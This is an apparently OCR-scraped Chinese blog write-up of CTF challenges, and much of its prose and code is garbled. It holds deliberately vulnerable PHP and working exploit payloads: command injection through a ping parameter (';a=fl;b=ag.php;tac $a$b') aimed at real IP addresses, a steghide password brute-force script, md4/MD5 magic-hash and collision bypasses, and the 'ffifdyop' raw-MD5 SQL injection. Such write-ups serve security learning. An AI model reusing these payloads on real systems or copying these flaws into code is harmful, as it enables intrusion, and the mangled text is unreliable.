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<?php
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{

die("no flag");
¥

system("ping -c 3 $_GET[ip]");

?>

RRWLPT, W TR UATIstr £

http://39.96.23.228:10002/index.php?ip=;1s

B33 T cat vi vimAl"flag" <+,
A k& payload, BfEseid B4

http://39.96.23.228:10002/index.php?ip=;a=fl;b=ag.php;tac%20$a$b

catliA T, T slEER T X itac, HMIIEEflag:


https://blog.csdn.net/shuaicenglou3032
https://blog.csdn.net/shuaicenglou3032/category_7619901.html
https://blog.csdn.net/shuaicenglou3032/category_7137104.html
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/shuaicenglou3032/article/details/108172758
https://blog.csdn.net/shuaicenglou3032/category_7619901.html
https://blog.csdn.net/shuaicenglou3032/category_7137104.html
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<Yphp

highlight file("index. php™);

ifilpres match("/flaz/i”, $_GET["ip"]1))

}

die("no  flag™);

gystem(“ping -c¢ 2 3 GET[ipl”);

%
$flag = "flag{l like qwb web}";
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{upload)
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htmIRES T, WHERR:
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<html> \n

<meta charset="utf-8">\n

<body> \n

<form action="steghide.php” method="post"” \n
enctype="multipart/form-data”> \n
<label for="file">(f}#:</label> \n
<input type="file" name="file" id="file" /> \n
<input type="submit™ name="submit" value="i£7" /> \n
\t<!--i use steghide with a good password-->\n
</form> \n
</body> \n
</html>\n

HERIRE, fhiifhFsteghidefai 7 —L &K,
RIERATE 78 H R X Kjpg:


https://www.cnblogs.com/SpouseLJ/p/13223967.html#menu_index_21

Al o0 Thets
BAITFEubunturb 18 B v 4-sudo apt install steghide 2% #F steghide.
BARABAMECELRL/D, HRELERR123456:

pwn@ubuntu:~S steghide extract -sf a.jpg -p 123456
wrote extracted data to "flag.txt".

BRIT, FTIPRE R T flag:

pwn@ubuntu: ~

pwn@ubuntu:~S steghide extract -sf a.jpg -p 123456
wrote extracted data to "flag.txt".

pwn@ubuntu:~S cat flag.txt
flag{tell me yBu like it}pwn@ubuntu:~$ |

HSX BARA R 123456115 s 2 5 & 7 TR, T4 KR Ebash/ B A



#bruteStegHide.sh
#!/bin/bash

for line in “cat $2° ;do
steghide extract -sf $1 -p $line > /dev/null 2>&1
if [[ $? -eq @ ]];then
echo 'password is: '$line
exit
fi
done

P
# ./bruteStegHide.sh test.jpg passwd.txt

JR3: https://blog.csdn.net/Blood_Seeker/article/details/81837571
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<?php
include 'conn.php’;
highlight_file("index.php");

//level 1
if ($_GET["hashl"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
¥
//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
¥
//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";

$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row) ;

$result->free();
$mysqli->close();

?>
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import hashl

import Crypto.Hash.MD4

import re

prefix = 'Oe
def breakit(
iters =
while 1:

s

ib

):
0

= (prefix + str(iters)).encode('utf-8")

hashed_s = hashlib.new('md4', s).hexdigest()

iter

P =

s = iters + 1
re.match('~0e[0-9]{30}', hashed_s)
if r:

print ("[+] found! md4( {} ) ---> {}".format(s, hashed_s))

print ("[+] in {} iterations"

exit(0)

if iters % 1000000 == O:

breakit()

print ("[+] current value:

{}

.format(iters))

{} iterations, continue..

.".format(s, iters))

PATZ R R IZER: 0251288019, Hmd4#ZE . 0e874956163641961271069404332409.
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hash2=
%A4d%Cc9%68%F%0e%e3%5C%20%95%72%d4%77%7b%72%15%87%d3%6F%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%0

hash3=
%A4d%Cc9%68%fFf%0e%e3%5C%20%95%72%d4%77%7b%72%15%87%d3%6F%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bt%a2%0

XFAR EZurlencodelf ) T S5
JE3: https://blog.csdn.net/qq_19980431/article/details/83018232

ETFHExR, HR, TR EBEK TR hash2[]=1&hash3[|=2, XANF A .
RIEHE =RESQLIEAN Hhash4s &K AL,
Hi&hash4=flifdyop, BEAKJREEIXR: https://blog.csdn.net/ClLarali0/article/details/83590345

R e E Fflag:

< C  © FZ=| 39.101.177.96/?hash1=0e251288019&hash2[| = 1&hash3[| = 2&hash4=ffifdyop

<Iphp

include  comm. php' ;

highlight_file("index. php");

filevel 1

i{f ($_GET["hashl”] != hash("md4”, $_GET["hash1”1))

die(’level 1 failed J;

)

flevel 2
if(3 GET[ hach?' ] === $GET[ hachi' ] || md5(3_GET[ hash2' 1) !== mdS($ GET[ hash3' 1)}
{

die(’level 2 failed J;
}

/flevel 3

$query = T“SELECT # FRON flag VWHERE password = 7 . md5(3_GET[“hashd”], true) .
$result = $mysqli-rquery($query);

$row = S$result->fetch_associ);

war_dump ($row) ;

Jresult->free() .

Fmysqli-relosel);

2
array(3) { ["id"]=> string(1) "1" ["flag"]=> string(24) "flag{yOu_w1ll |Tke h4sh}" ["password"]=> string(32) "641ec1386¢ch6a65f6831a48be12c8ad1" }

end


https://blog.csdn.net/CLarali0/article/details/83590345
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